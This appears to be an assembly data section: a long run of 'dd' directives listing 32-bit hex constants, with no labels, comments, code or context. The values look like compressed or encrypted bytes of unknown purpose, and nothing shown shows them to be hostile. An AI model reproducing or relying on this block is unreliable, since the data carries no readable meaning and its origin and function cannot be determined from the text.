		dd 0F600CA3Ch, 61B753D6h, 0E07DCF80h, 4B3ED259h, 3648C1CAh
		dd 0A6733101h, 70C20163h, 532ECA16h, 0F3084104h, 93B4301Ch
		dd 234EC217h, 7CCE5F80h, 1B37207Eh, 7BD99A50h, 4D126816h
		dd 0FA353AA3h, 0D34CE911h, 0D05485CFh, 66F12EF6h, 68CC027Ch
		dd 59C60C2Bh, 67B9E928h, 852D64D6h, 51419302h, 8266A7A5h
		dd 85615F58h, 21F05553h, 7451000Fh, 815BDD89h, 6A2E52E5h
		dd 0ED018D4Eh, 757032B9h, 5DA30C85h, 0C569C0D8h, 0DF17411Dh
		dd 0F210C126h, 331F0491h, 0E9042952h, 5E23D2F0h, 16846D92h
		dd 27B90046h, 0F42E7954h, 0D2584B70h, 0E7624019h, 0C3588670h
		dd 97B32053h, 9852AD4h,	61E21C47h, 0D1448041h, 0DAA47357h
		dd 268C2CE9h, 200CCCF7h, 5DEA10C1h, 2B28D021h, 36E955C2h
		dd 0C178F958h, 20900750h, 31623D1Ch, 895BDA45h,	3CE91A05h
		dd 25299BE0h, 0E6DB58C1h, 0D8A72BADh, 0FDE9101Ch, 0A08A5B3Fh
		dd 0E95D5C03h, 0AD7656C4h, 0F940C2B8h, 302D075Eh, 5031FD45h
		dd 6B194D8Fh, 7B708BDh,	1623FE30h, 0E9510BE0h, 2A20FB56h
		dd 26982F85h, 7D6DC1F5h, 0E4B6266Dh, 0C419BD0Bh, 0E8C11269h
		dd 2DAEF808h, 7CBDC27Ah, 9768610Ah, 6E15331Ah, 3FC0A868h
		dd 67556212h, 2C462338h, 1E252D90h, 5791400h, 3DEF6317h
		dd 0CE2B98E9h, 6CB4238h, 0F504A572h, 24224193h,	1052983h
		dd 5D268ED4h, 93D2F732h, 0EE085704h, 0D12100DBh, 4E1C15Ah
		dd 77901E98h, 8284DD69h, 0F854292Bh, 2CE9260Fh,	7DBF8389h
		dd 0F7E7DC70h, 0D2C0C4F8h, 0D16C595Bh, 81BE43F8h, 0FCE58003h
		dd 0C0EE9FC0h, 0EB2837EDh, 7FCDF959h, 2568C3C0h, 0C86633B2h
		dd 0EE13C17Fh, 410E6601h, 0D7FE0EFFh, 200E1E2h,	502ECE80h
		dd 0CAA80CE9h, 0E4F1E381h, 0F3EC255Bh, 9E445D0Fh, 0D5B8407Dh
		dd 53E563Fh, 0AF5B8505h, 5FE8C245h, 0C5137C64h,	93645758h
		dd 0FC9232BAh, 0F78090C8h, 88509C1Eh, 0DEE12879h, 1E5FD140h
		dd 4903E3C1h, 49182954h, 0E42E6857h, 5F65F87Bh,	0E9A18AE8h
		dd 4C13C03h, 621D685Ch,	62D638A8h, 94ADB474h, 0D08C558h
		dd 803C0060h, 871DD731h, 226F7FAh, 0B9A80B2Ch, 0FBCFAFA3h
		dd 6F6DB42h, 0B7D86BA7h, 206D980h, 0B4F19A7Fh, 240553A2h
		dd 382A2031h, 17082010h, 2E285558h, 52499E5Ch, 0B25300FEh
		dd 27E545EFh, 5F528CCCh, 60345618h, 0C13D803Ch,	49E91379h
		dd 0F4DE4475h, 88425960h, 4F5C5520h, 68C4CC38h,	4D14552Ah
		dd 0CAE95417h, 0EF8865C1h, 0CFAC85DFh, 3839214Eh, 525701B1h
		dd 136A8BDDh, 2501F712h, 239D7B34h, 65C19CE3h, 7025F247h
		dd 13EE4ED0h, 4701F046h, 31FA4116h, 0CCEF898h, 51771FC9h
		dd 52E590Ch, 0B60C1030h, 3EB8505Ch, 75817E9Ah, 29CF1DBDh
		dd 0D2033FEDh, 0EA93E9h, 715BF581h, 0E5C116B9h,	26C00758h
		dd 0E012C47Ch, 0EE17DBADh, 0F898955Dh, 0F28412F5h, 163B33E1h
		dd 8234164Eh, 3077ADC3h, 24412E00h, 254639E0h, 14A580D1h
		dd 0E9833BF0h, 0C80C8713h, 5A3DBE39h, 0F345A87Ah, 0F144100Bh
		dd 0E98D0246h, 57D7491h, 0E7585450h, 0C7CC4B2Fh, 0C7CF25E9h
		dd 2E5CA391h, 0FEF57AC7h, 0A25F7092h, 41F021ABh, 9C7D3CB2h
		dd 0C381581Ch, 4A6C724Eh, 0A9C1DACAh, 0C9493965h, 9903EE51h
		dd 420309D4h, 0DC5AB674h, 0FA804991h, 3101056Eh, 6AEE8131h
		dd 0A4C837E9h, 0AFBE805Ah, 3001F2FEh, 700AE681h, 0C8439CAh
		dd 0BB8B0B4Bh, 1C34B601h, 0C835A27h, 3B101FB7h,	0FCC2CE34h
		dd 8287B066h, 494D94B2h, 88177844h, 0FEF32CC6h,	0F31CCE7Dh
		dd 84E6805Ah, 0C75BD90Eh, 0CB04ADC3h, 5951E9C7h, 0BB85F4E9h
		dd 976DC7B9h, 0DDF7B3E3h, 41C4085Eh, 614F37C0h,	0E97A48ABh
		dd 99DB0203h, 56652994h, 49A4102Eh, 0F96B13D4h,	225B574h
		dd 15EC5908h, 1302C797h, 5C25F70Ch, 6D9C1000h, 5FF80104h
		dd 0A2BCEC53h, 445D156h, 0AF5EF209h, 0CF1BE001h, 9170FB82h
		dd 0A6E0A05Ah, 415F4C3Ch, 0BACB404Eh, 0DDF4CC0h, 3FEA8103h
		dd 1F0A094Bh, 6417E03Eh, 62F200DCh, 18A55E1h, 0AF5AD539h
		dd 17046CEAh, 5EE67EE9h, 4E75950Fh, 7125E24Ch, 0E530DD05h
		dd 3AEE91Bh, 5A8A2551h,	0DAF727A0h, 4A5E9E91h, 2B85710h
		dd 51EF7D10h, 44A9804Bh, 90C507B6h, 2C5B5E72h, 3B131F24h
		dd 57B061B3h, 0F72FB001h, 250503Ch, 0F3282090h,	0AE10BCEBh
		dd 0EE081C66h, 0B1011206h, 0A4402B85h, 7CEB2D5Dh, 5120003h
		dd 0C546224h, 47F9F029h, 2411CA07h, 8D68C17Fh, 90303E08h
		dd 5AB82317h, 79801503h, 0B6D00269h, 8392ED85h,	0A001020Ch
		dd 0EE29782h, 0FAFE3CEEh, 561BDEA0h, 39295E3Fh,	0ED14260Ah
		dd 25F64D69h, 5560E5F1h, 9CF921E9h, 216AEAFBh, 224E303Ch
		dd 4812E542h, 0C4E6E9h,	0C105CEBCh, 0F103490Ah,	0F823CDAh
		dd 0FC8B252h, 49B4F3F8h
		dd 294C40C9h, 258BC34Eh, 2E45F90Fh, 6F9DE0F7h, 0BA4B1261h
		dd 5CD7583h, 0D36CEFEDh, 2D69F42h, 0F5183709h, 9341A362h
		dd 58142931h, 5FE1E26Fh, 1682A8A6h, 925D0C3Dh, 2CE23CE0h
		dd 236149DFh, 7BAED531h, 0C15DBC1Bh, 9B82B6D4h,	334A5BC5h
		dd 0F4D5CE61h, 0CA9C3195h, 73C54852h, 2EC1814Fh, 33305C0Eh
		dd 277896A2h, 8C44BCDEh, 0B568D8C2h, 547CA907h,	7AE95012h
		dd 1C81D849h, 0E70216F4h, 5DF98858h, 0D1303718h, 4FE93DC3h
		dd 0D677040Eh, 0C2EE295Ah, 3E796A75h, 0D561DF3Dh, 0CE0705B9h
		dd 3F02F4C6h, 94275E99h, 0C256B6AAh, 61AF1786h,	9C0FD200h
		dd 55005A22h, 0B15198BDh, 0C0D5F747h, 11E58104h, 36B9618h
		dd 5F080710h, 49AC2514h, 4A909105h, 10ED5DEh, 0C936608Fh
		dd 0E6BB2034h, 68456D1Fh, 81C68FEh, 14191C34h, 2BEC5DB7h
		dd 0AD7DBB6Ah, 0D4566A9Ah, 58D7E9C2h, 0E08B419Ch, 0B1B53753h
		dd 0C554ACF5h, 0A23C17EBh, 0C66885D1h, 0C8518663h, 9B967E7h
		dd 0E9C15945h, 0FE7A7B02h, 2A76BE00h, 0FD084DE7h, 0CCF55A7Fh
		dd 0D7066824h, 5D1EF722h, 5707FF7Ch, 620A6D28h,	9145A670h
		dd 2B8B1E54h, 6F298FE3h, 0E9521938h, 63CF6231h,	0BA03ABF7h
		dd 55902DEEh, 99E11F8h,	4E215812h, 2B81BF36h, 66675765h
		dd 307D7189h, 0CDBE181Dh, 0D9C9B98Bh, 0D0880ED1h, 6307C349h
		dd 0F31EF2DCh, 65E99856h, 0C271A5BDh, 90232509h, 7AFE4F4Ch
		dd 85925CAh, 0D281BD31h, 4C9DE5Eh, 5FA05890h, 53DD1931h
		dd 0BC5B1CF7h, 8EBB00Eh, 921680E9h, 9D199588h, 39ADAFFh
		dd 732004F0h, 80580F38h, 2C240BC7h, 4D12CB32h, 1DE20124h
		dd 9BE909BFh, 3E760D2Ch, 0A958D1C2h, 0B0D7122Ah, 0F9A4550Ch
		dd 90481C3Ah, 56544EF0h, 550B0227h, 59291368h, 0D8A73944h
		dd 0EB6495F1h, 947CB04h, 0AB05325Eh, 7B998902h,	73C11068h
		dd 68892C91h, 0E9D3C0A2h, 95764E6Dh, 19ED25Eh, 6046027Dh
		dd 61AA5EC3h, 0FE4D70BCh, 0A2EC9DABh, 78F706C9h, 0CDA70095h
		dd 0ED812220h, 0EA09641Eh, 88DD017Bh, 5B0508C5h, 64C7EB89h
		dd 419A7F31h, 92BAE9F8h, 4F6F6F7h, 7A33DBEh, 0AAD8489h
		dd 8A93DDFCh, 14D2B1B9h, 63EA11Fh, 20E227AFh, 0D0D4B057h
		dd 3E683CEAh, 0B403AE53h, 4FEC8011h, 0E9D6E498h, 1840332Fh
		dd 8025514Ah, 42DE5866h, 26BB509h, 0E330BF54h, 59B19FC1h
		dd 0F32C84E9h, 0B8A42D27h, 5FC2F405h, 0D6AD683Bh, 0E9E004EBh
		dd 6F4F2CCh, 0D60850E5h, 2048055Ch, 99C50951h, 0A0A6001Ch
		dd 2E2D694Bh, 0F5188031h, 131BA3F8h, 0E19FE97Dh, 50077E88h
		dd 6D206326h, 0EDEF74Eh, 0D102E6C1h, 31030A79h,	0F92105Ch
		dd 6813C8B7h, 0DCC4EFDh, 20A967DEh, 0D5566446h,	0C428859Ch
		dd 77FBC0C4h, 7C09A771h, 0F41C23E9h, 64164BA8h,	0FF4AACBAh
		dd 5FAF3A4Ch, 0DDF62D5Ah, 5066BA40h, 9C38B03Bh,	0F83927C5h
		dd 0F624B40Bh, 0B29506DCh, 0B753130Ah, 0D5AD0949h, 877886F2h
		dd 57538661h, 9B3A5F54h, 56611015h, 68C5A876h, 0CA4A5FA9h
		dd 57BE44ACh, 16C3E914h, 11F9D2DDh, 3ED099D2h, 5A02F14h
		dd 273A74ADh, 18689080h, 2C504A1Eh, 53008592h, 0FD316FDBh
		dd 9F0C9EE9h, 0AE901414h, 0E919AC8Ch, 0D91D60CEh, 1A42697Dh
		dd 66DB304Ah, 0BEA4AB0Fh, 1EA8F120h, 4A146EBFh,	3984730h
		dd 5CCF2B6Dh, 25FCF7B0h, 1D6950Bh, 0F61796F8h, 190C8h
		dd 5BFE1A20h, 43E9D029h, 8858B063h, 0DE7BB9DAh,	0BED8AD64h
		dd 8A664753h, 3AD1144h,	52996856h, 63C0E443h, 0B5D3EEEh
		dd 0F189BAC7h, 0F9BFD084h, 3D690140h, 0F22963E8h, 8041171h
		dd 5885B6C3h, 13898251h, 0DBD96BABh, 0FC5C0DB2h, 0CEE87217h
		dd 0CDCBA1E9h, 3F17E558h, 0E4291793h, 67400371h, 93901BBh
		dd 0EBC17DAFh, 2EF0F507h, 1DBA890Ah, 60A11F96h,	22C3178h
		dd 0AF80B0Bh, 0ACBDFB5Bh, 6193D540h, 0CB57420Dh, 0C2F7377Ah
		dd 0C8AB1BB8h, 22038456h, 0EA40EF0Fh, 8009DCA9h, 2935E2F6h
		dd 0E80E2D24h, 0E56C7A1Dh, 71A05F0h, 279C96E3h,	835865E9h
		dd 604BB09Eh, 97C8E3BEh, 0F92B8F21h, 0A9E630DBh, 60E87305h
		dd 56A4C2E9h, 2540FE5h,	8F3D0EC4h, 6CE94D06h, 8016D8F0h
		dd 0B2E4F5EBh, 61871324h, 2600E2C3h, 0DB453B54h, 0FD08A581h
		dd 0FDEF3001h, 1DB29EDh, 410D0EAh, 0F8DAC14Dh, 66730988h
		dd 1485634Bh, 0BB6E25Ch, 485BD821h, 86BB2849h, 0AF5BFB96h
		dd 0AD45FB99h, 7154F812h, 0E2D49465h, 8BCAA31Dh, 31A481D1h
		dd 36FD3885h, 740D8FCh,	28585C5Bh, 9C15DFE0h, 77C5544Ah
		dd 0A2DB60Ah, 5113502Ch, 8B362F0Eh, 5C0184DAh, 752F3FA1h
		dd 0C1B6B865h, 1568F9F7h, 8AB875C6h, 0B880A6EAh, 885C1E06h
		dd 0C1299717h, 6B756843h, 3952098Ch, 0D113FA88h, 3E3DA65Ah
		dd 0E90884D0h, 5FCA429Dh, 0C7E20B76h, 5356366Ch, 0DB151B03h
		dd 800C1211h, 529C0454h, 0D500EA5Fh, 79847EE4h,	1EF87A29h
		dd 5A6FE005h, 0F2841055h, 0A10AFCE8h, 0A79658ACh, 44931CE7h
		dd 872EBF09h, 30C9F31Dh, 0C5C68904h, 9881080Bh,	49353974h
		dd 0B031CDF0h, 80324E2Ah, 751A0500h, 5F4F5826h,	75072D14h
		dd 2527CF16h, 0CD968A05h, 1AA0F791h, 893002C1h,	0E42613D3h
		dd 0F58AF04Bh, 0EDB1209Fh, 0A1121AC5h, 4212E4B9h, 41A18183h
		dd 78056AD0h, 77073C38h, 12660959h, 6CACD4F6h, 9BCF800Fh
		dd 0AC5CD1A4h, 83069640h, 2CCCBEh, 51D830ACh, 29B35352h
		dd 5BDE8800h, 0E967E680h, 0EF1D6750h, 1AF9D65Ah, 963CC93Eh
		dd 0C8A34544h, 0E002977Bh, 0A650554Dh, 6FDE5D49h, 465202C6h
		dd 6B80D7B0h, 2C0835Eh,	1370E912h, 2C68CCC8h, 58A928B1h
		dd 52BAB4E9h, 0ED0C94B5h, 5503601h, 0B76DA204h,	71AE0416h
		dd 0E2580BC6h, 7C6AEC05h, 8386A0C7h, 6B199661h,	0E91A9B94h
		dd 0FC372D78h, 0D27515C8h, 6685805h, 0B19EE834h, 9C3C5DE9h
		dd 0A05536Bh, 5FAE15Eh,	999CA96Eh, 6811020Ch, 0E92D8943h
		dd 0F7A26025h, 5021F7D3h, 24A5E640h, 0D156170Ah, 405012EDh
		dd 0D8F74074h, 2031705h, 50357B7Fh, 0D25DA7C5h,	2D1567Eh
		dd 0E322E90Eh, 0B78B3B75h, 0F307BACBh, 0A64AA591h, 133F8E7Fh
		dd 5304298Ah, 0A3054468h, 0A88A180Dh, 1FBDEA6Dh, 0A6C14983h
		dd 5A8C2056h, 543E0EA0h, 6E972DCDh, 0CF796D8Ah,	74EA520Ch
		dd 3D7BA745h, 5500E72Eh, 5E68DD89h, 46A59C5Fh, 7090681h
		dd 96A326Fh, 0BFE570A0h, 3D1C13B0h, 935E34C9h, 6C12DAF9h
		dd 51809DE3h, 1B3F22F5h, 46F3C8A2h, 91652601h, 403F310Ah
		dd 0EF25DBF2h, 4126E969h, 0B1C0DC4Dh, 9E514427h, 275126D3h
		dd 0CBDEE062h, 306C5804h, 3507F6ACh, 0E8B11A1h,	0BB7DFDA2h
		dd 0E9131DF8h, 0EBA44F8Fh, 0A8ED5DFAh, 6840F82Fh, 2BE7595Bh
		dd 876C7BD0h, 9F5AF201h, 0A4F4536Ch, 32776BB2h,	80C0564Eh
		dd 0E6E2E480h, 1DA76F4h, 0E62877C4h, 395BF3E9h,	10A6D4D0h
		dd 5E2E1DD2h, 734C2517h, 0AC05EA00h, 32F18169h,	2274C15h
		dd 97D84D24h, 0EACE0F87h, 8239B582h, 6C1F09DFh,	0B8C6EE3Ah
		dd 16649F7Fh, 72EFA625h, 0F79290FBh, 7088992Bh,	0C1828782h
		dd 346CB131h, 71399FA6h, 417F705Eh, 677DE107h, 0C9600E05h
		dd 48292266h, 9C0C8D2Eh, 0E1180F7Bh, 9123841Ch,	86061EACh
		dd 27704CE3h, 3D7A5BD9h, 5C04594Ah, 5F1BCE9h, 0A9852E23h
		dd 0F26DD1EBh, 28FDE1C9h, 4AF25082h, 30A93C13h,	0D4BA30Dh
		dd 0B51DFE60h, 368DCA98h
		dd 54A4299Dh, 5363925h,	0E0F70A0Eh, 0EDF669EEh,	0F528C305h
		dd 7AB862E9h, 4024953Bh, 0D15D8549h, 0FD2F80EAh, 3E1276B5h
		dd 4A04D321h, 14B84F1Ah, 0E17401D2h, 30419822h,	6D559681h
		dd 1D5D4010h, 0EBB8550Eh, 39B43620h, 0DD12D388h, 0A936085Bh
		dd 0AB88913h, 431FCF03h, 0E7B05122h, 20EC0709h,	5789FFF9h
		dd 0FDA96073h, 0D85BBC98h, 6CF6D1C5h, 7A9ACD5Bh, 74850213h
		dd 95932BA8h, 6BBE82FDh, 347D9EB1h, 469D3337h, 8875B181h
		dd 6804A275h, 4DE820BEh, 2131A4D2h, 5FE9E809h, 0D212B22Eh
		dd 1B8BA035h, 0F5E79FF1h, 0E61838A4h, 1D50CD1Fh, 9776B841h
		dd 0FC5005E5h, 0FA00AE52h, 65ABBE56h, 316328B6h, 0D27920E2h
		dd 0A6EC8002h, 5DA0B753h, 0D0B17FA1h, 29EFF4E7h, 0BBFC3028h
		dd 0D9D40925h, 685D821Dh, 0BBD469D8h, 9E79E760h, 0C14B1678h
		dd 0CBDF00E3h, 12FD11FEh, 0CFB44350h, 2EEB447Ch, 0E961E897h
		dd 5AA5AAB1h, 0C7EFBE40h, 4DE87D1Fh, 36C26E52h,	0D898D566h
		dd 8082482Fh, 8E231CF8h, 10014B07h, 0F06008CEh,	5C845E0h
		dd 3A09C2B8h, 0E3576A78h, 11CEC845h, 0FE55E270h, 0EEBE7FEEh
		dd 9A099FCFh, 5A33BF45h, 31EE8402h, 53E624Bh, 9F750F87h
		dd 6BF64F0h, 401849DDh,	7013C881h, 76800FDBh, 2FF52FF1h
		dd 0BA78C12Ah, 2A01A589h, 1D4B7300h, 25310F5Dh,	7F425BDFh
		dd 68415874h, 496B1F2Ch, 4846DC0Ah, 790D8D9Eh, 3121217Bh
		dd 77B1D03Eh, 7D5AF14Fh, 0AE403EB1h, 50A7330Dh,	10B39135h
		dd 5A3B0108h, 0BD0CF158h, 6DA22F28h, 0A57D02E2h, 0FBD3FB45h
		dd 0C858E209h, 7EFE1DFBh, 0CBD02D64h, 30021CC9h, 5E37277Ch
		dd 85A0FA04h, 0C0360903h, 0FA65380Ch, 1754E993h, 3F03B7A9h
		dd 0EFC0D7F6h, 60E79A06h, 80EE9AEDh, 5848E128h,	2C3F2006h
		dd 0C5B9CE89h, 0E2E70346h, 0F7D1F838h, 0A4E682D6h, 0C029822Bh
		dd 40027Eh, 0BE04F40Dh,	35DE2D14h, 9989AA3h, 0B6083D16h
		dd 16ADFE9h, 69599BBEh,	650C2038h, 62F86119h, 9DD85552h
		dd 95094B27h, 4DFE8239h, 2D38C009h, 0C2688152h,	0F1ABB3D7h
		dd 0AF48BED1h, 395B3EB8h, 176A62E0h, 0B5AB41C9h, 23791205h
		dd 900BCFD9h, 501AD2F1h, 41479908h, 5CB6F62h, 7BFD3610h
		dd 42A66495h, 0AC5113D2h, 5AD46EB8h, 5589462Fh,	2C438EF9h
		dd 0EC0B9555h, 7678D0C5h, 0DBDA2459h, 4DF98D4h,	0F290E7C1h
		dd 98ECC4F0h, 7000EE4Ah, 0E9505655h, 70899542h,	0EE517B7Eh
		dd 31574D09h, 0E5292BB6h, 0EB0C002Ah, 13CA3825h, 260BAA1h
		dd 9AC2A331h, 87A30C45h, 12E43D3h, 19F335A0h, 0DA039201h
		dd 31E9D989h, 0DEC53BE7h, 0C5858CAFh, 0B0E0E85Ah, 9F9F96E9h
		dd 0A0E76548h, 189A3012h, 3BBA54E0h, 89972302h,	0D72508F9h
		dd 391CBF03h, 36AFEFECh, 31ADB442h, 0C5C740D8h,	1CC7204Eh
		dd 0CC25C0A1h, 5B904587h, 43D88BBFh, 5C06499Ah,	3AB10272h
		dd 2F98E92Ch, 0A04907F9h, 215E3126h, 83681754h,	0C2A7AC6Ah
		dd 40359CBBh, 90EBC112h, 0FCBAE6CDh, 0F1364F0Dh, 7092008Eh
		dd 4E619E7Ch, 0AAB2301Eh, 2DD4FECAh, 617EA080h,	0CD450158h
		dd 0A14511A5h, 0E980222Fh, 0D1B4AB70h, 3EADA694h, 0A3392492h
		dd 7B681788h, 0CC96105Fh, 0C6FE8344h, 9D6A43BBh, 0A0EDEF6h
		dd 2A02C6Bh, 4A7AE9F0h,	84945F85h, 512049BAh, 5EBE4EA2h
		dd 19068CE7h, 0AD81EF8Dh, 0B55AB124h, 0AEF6CFC8h, 69FC5281h
		dd 8E53941Fh, 1D8F1140h, 0F9218F6Bh, 0C9C88950h, 2818E9C5h
		dd 6B204C0Dh, 8012217Ah, 843BC8F1h, 8803EE61h, 0D7282FC1h
		dd 28A59593h, 9A94D32h,	1574CACDh, 2026B58h, 55E922D3h
		dd 0A86C7B52h, 14DD30ACh, 990B80Dh, 2D33E200h, 4FD1036Ch
		dd 54AE000Dh, 5D25041Dh, 74007B62h, 0ED264E35h,	3844053Bh
		dd 0E98BC9F7h, 4544EA99h, 19589D13h, 9E541827h,	0B145A1Dh
		dd 4528776h, 16AE8292h,	3E77A60Fh, 4858925Eh, 0CED2C2A3h
		dd 0CFFF52A8h, 2A987683h, 0C8AF180Fh, 43EAA451h, 0D78726D2h
		dd 912E482h, 0C89936C3h, 7BC5D959h, 2E5A4E4Ah, 21FA3044h
		dd 1F41CFDh, 0DC0CF81h,	0C72CC09Fh, 0C6689D85h,	90FD8927h
		dd 9A11CF7Fh, 703E02F4h, 4F5F26B2h, 7441F040h, 61825C71h
		dd 89E08782h, 0A210D231h, 6A34752Eh, 13EF709Dh,	0F86E1345h
		dd 68E34F4Dh, 7D82B569h, 0B27FB5F7h, 6C0B5DCFh,	0E967A0F9h
		dd 39885DACh, 0ECA658E5h, 0B8A113DEh, 5FCA4A32h, 8E59F05Bh
		dd 3EDCF65Eh, 21CB4125h, 93D77AD8h, 17C860B3h, 0E35FFBBDh
		dd 0FD277EC3h, 518911E5h, 3265C3E5h, 0EB652D8h,	0FEF68042h
		dd 82EFCE64h, 0EF48D4EAh, 880284C6h, 0FE515AF5h, 0E00BDF4Ch
		dd 0C064D4C8h, 3806E53Bh, 0FC126ECDh, 21DAE819h, 27714B75h
		dd 0A40F143Eh, 0D137BF04h, 7FB4C113h, 217A714Bh, 83832BFBh
		dd 76AC9070h, 123EF7E9h, 0E0FFA8BAh, 0D6A003E9h, 0ED790720h
		dd 4D27A08Dh, 1C4C6F21h, 9C841722h, 939B1AB3h, 7723F5C8h
		dd 0F7670B09h, 307B07DDh, 0E9034B60h, 956BBAF8h, 170B22E1h
		dd 46E0D4C4h, 38480BBEh, 9654342Eh, 0A1E68100h,	0D215F16Bh
		dd 3E91F12h, 74774378h,	5095F6F8h, 0C1EA230h, 0F3369787h
		dd 0C7AF7561h, 5AA52795h, 40702713h, 0B7926A51h, 5083E8E0h
		dd 0DDE5B8C5h, 67B8BF7Eh, 4901F28h, 5794236Bh, 8F958151h
		dd 14A00528h, 12683966h, 919674h, 0F636B753h, 412EE9DFh
		dd 4245344Bh, 0ED7B40EFh, 6C6F66BAh, 0F0B42FBDh, 0C85B5E7Ah
		dd 23D971Bh, 0EDBD0F55h, 0B494D84Fh, 0FEE91819h, 29C64B5Ch
		dd 5DBF7614h, 0D3A40498h, 21E043BAh, 248C2768h,	34CFAB98h
		dd 8145E200h, 0AE573DF2h, 0D7290B4Eh, 0FFDC79E9h, 9452A8CAh
		dd 49C69F23h, 592F2FB6h, 6A6D30C1h, 6DB86D7Dh, 5F056020h
		dd 2A08295Eh, 0FBEF312Ch, 0FCE693F2h, 0B545C46h, 38EDE917h
		dd 680289EDh, 0AB04EABh, 24EBEBC0h, 0F14D2209h,	5B1E5421h
		dd 3B8AC1B0h, 316C0202h, 0F0BEE9CDh, 0C3302F54h, 6468A081h
		dd 27697B0Ah, 3292BD40h, 842C509Fh, 6F3F39B5h, 1EFE0113h
		dd 801C6082h, 263DDBF7h, 171E095Bh, 28E0EF47h, 0B45066C1h
		dd 0BCDEE9D8h, 4590711h, 0C6DB2479h, 8924DF50h,	4A089AC7h
		dd 777A2F45h, 0A703EFBDh, 0AA73619Ah, 5F0D208h,	5F60F168h
		dd 0E07D5720h, 52015F87h, 71BB6857h, 3F600B6Fh,	0A6D1833Eh
		dd 0F5E57C19h, 29C209ACh, 8465BD8h, 18CD2C5Eh, 9E90E84h
		dd 0CD4D9820h, 72AF6CBh, 3CE1E237h, 603F2131h, 0DAF74208h
		dd 0BA525300h, 7859037Fh, 0B5A25E9h, 3C90F7DAh,	0C01C297h
		dd 6B8503Ch, 0BD5AD922h, 0FD810BBCh, 0A6172059h, 4FEA370Eh
		dd 4096D429h, 30975D08h, 0A19A9D11h, 446ED290h,	1399F444h
		dd 2D87FC80h, 0C420E59Dh, 0E907A0F5h, 717B9C0h,	0D63371C6h
		dd 8B0B946Ah, 0D61527Ch, 33FC19Fh, 3453756Dh, 4812B395h
		dd 5DA602ADh, 58403E97h, 213506FDh, 4E7EAE38h, 0A0255B74h
		dd 402AEA0Ch, 0B90E960h, 29B094D4h, 0BECECD82h,	5500CF08h
		dd 807C83BDh, 313FBE49h, 7989E971h, 770992FBh, 0B827607Bh
		dd 0E460789Eh, 5BF0F3F7h, 2818C5BAh, 3835A8F5h,	0FBF4016h
		dd 7D0C6D1Dh, 26B29746h, 0CCD85B5Ah, 2C3A40A8h,	5AA1FA4Bh
		dd 0FC4BD9D3h, 1B6C0A74h, 0D452E77Dh, 79B0E3E1h, 220C0494h
		dd 63C03D51h, 0BC3E8A5h, 5AD731FEh, 6DE2Dh, 0AB55EFEEh
		dd 181F48h, 214E0795h, 803538E9h, 57141DBEh, 4CE5592h
		dd 0AA6DA8E7h, 560546FCh
		dd 0EF17C9E9h, 2C67131h, 1E5A1E16h, 0EDC0D61Fh,	81E5D101h
		dd 189D09CDh, 40D07376h, 4E3612C1h, 0B2022F1h, 54B8B879h
		dd 0E568B964h, 448C983Eh, 79DF0909h, 2DACD855h,	0A971D6F7h
		dd 200B458Ch, 958679E9h, 5055D964h, 99022DFh, 327CE068h
		dd 9D7F46AFh, 60501440h, 0E942170Eh, 680AB0C7h,	0A64716AEh
		dd 50560F95h, 0D7320A81h, 0E453009h, 0C24B4967h, 92A01F74h
		dd 52D30FBBh, 364462C7h, 9F53ABF3h, 612BECCDh, 27F3C8h
		dd 2D6FFEBBh, 4E523945h, 12D95D38h, 5F829B4h, 4BDCE28h
		dd 72BA495Fh, 5A48FD59h, 301A9AB2h, 68FC7298h, 6C01EE07h
		dd 23DE089h, 0B253EEE9h, 78DCE3C1h, 244B7D4h, 714E07E6h
		dd 98E09DF5h, 0F72A5035h, 27A574F6h, 92602996h,	548E2C1h
		dd 40BE013Fh, 0B4E97FA4h, 0F279162Eh, 0B1E9A0A7h, 0F92DC1CEh
		dd 0E8E1D15Fh, 0C1BAA72Bh, 740A9B0h, 0D3061FFDh, 5196C928h
		dd 0E668F2D4h, 3117CE2Dh, 21429B84h, 0FB17DCC5h, 0EA91A095h
		dd 0BD563706h, 29AA1463h, 3939AD5Ah, 0D13D052Bh, 0D4AC05E8h
		dd 121CF896h, 7B3616AAh, 203A107h, 1610E6C2h, 0A2EE53E9h
		dd 0E4B204D6h, 0E982F280h, 6E4054D4h, 0E058E507h, 0E83054C5h
		dd 0B252590Fh, 83CA257Eh, 765F8382h, 63EC024Ah,	0D9D058E9h
		dd 82AE459Dh, 98F9E953h, 0A06096F5h, 251BC9F8h,	0E3407D35h
		dd 12BA5951h, 0C5315077h, 525B0F14h, 83864F22h,	0E027FEEAh
		dd 9B0A1CD8h, 7679AF70h, 4D433F93h, 0C1F4B353h,	6B8B50A4h
		dd 0DA7C7B68h, 51A1E089h, 0D3871ADFh, 0E0A519EBh, 0B441AFABh
		dd 0BDA511Dh, 14BD926Ch, 6BF39073h, 0A2B43A4h, 0A5BE5374h
		dd 54B2C1A1h, 522FCC6Eh, 0E912BA42h, 0C0858094h, 6CF07EFh
		dd 58886506h, 4F52FE32h, 797127EEh, 5961E985h, 9392ACACh
		dd 0A8DD549Fh, 0E33A2CDh, 536F8AACh, 315B5F13h,	0D3DE9AB2h
		dd 0C3FBA1C3h, 1CA568A0h, 105E7DF1h, 5B2C9ABCh,	62234776h
		dd 0B8E36AABh, 15361B8Ch, 0EB37C8F5h, 158C602h,	0A4FE5EF7h
		dd 0E9D5E2C5h, 81011300h, 3F46FBCAh, 8C17356Bh,	9076B909h
		dd 89A64A93h, 62DC668Bh, 2595A84Eh, 0AC98776Ch,	582B85B7h
		dd 8F53D25Eh, 48E03525h, 0B0122C03h, 0BEE0805h,	0FBEBBB3Eh
		dd 8928B36Fh, 83A42923h, 51967CBh, 0FE10B0A5h, 2E6F82C0h
		dd 0D1690107h, 0BF578774h, 559B3096h, 20BFDFF7h, 6C606D1Ch
		dd 20CC16Eh, 3F3BF848h,	0A9A9C3C5h, 0ECCCE984h,	0B12D0026h
		dd 56FE627h, 0B97117E0h, 1074F87Dh, 0E44EDF4Fh,	9409F5EDh
		dd 60216826h, 5D82E9BEh, 6354E310h, 531B18A5h, 1D020F14h
		dd 14F6E10h, 53D3522Fh,	834A6B0Bh, 0B06856B5h, 4C5DFC05h
		dd 20BE95Eh, 284E352h, 76BBB9CBh, 6885200Fh, 0A5CF8FCCh
		dd 17951E8Dh, 485E29EAh, 0F34E216Bh, 0F31CCD53h, 20BED2C0h
		dd 97E80184h, 6816FC14h, 43B90219h, 0AE497680h,	5378577Dh
		dd 8FBE5B7Dh, 0B291A920h, 5C1A8F09h, 0CF0A69BAh, 5053AA6Dh
		dd 9C0D752h, 0C1114B09h, 7505DA09h, 0EDFEA4E5h,	0AB4D0528h
		dd 60696E9h, 0C4C53520h, 0FE771345h, 108AE829h,	0C17E0E0Ah
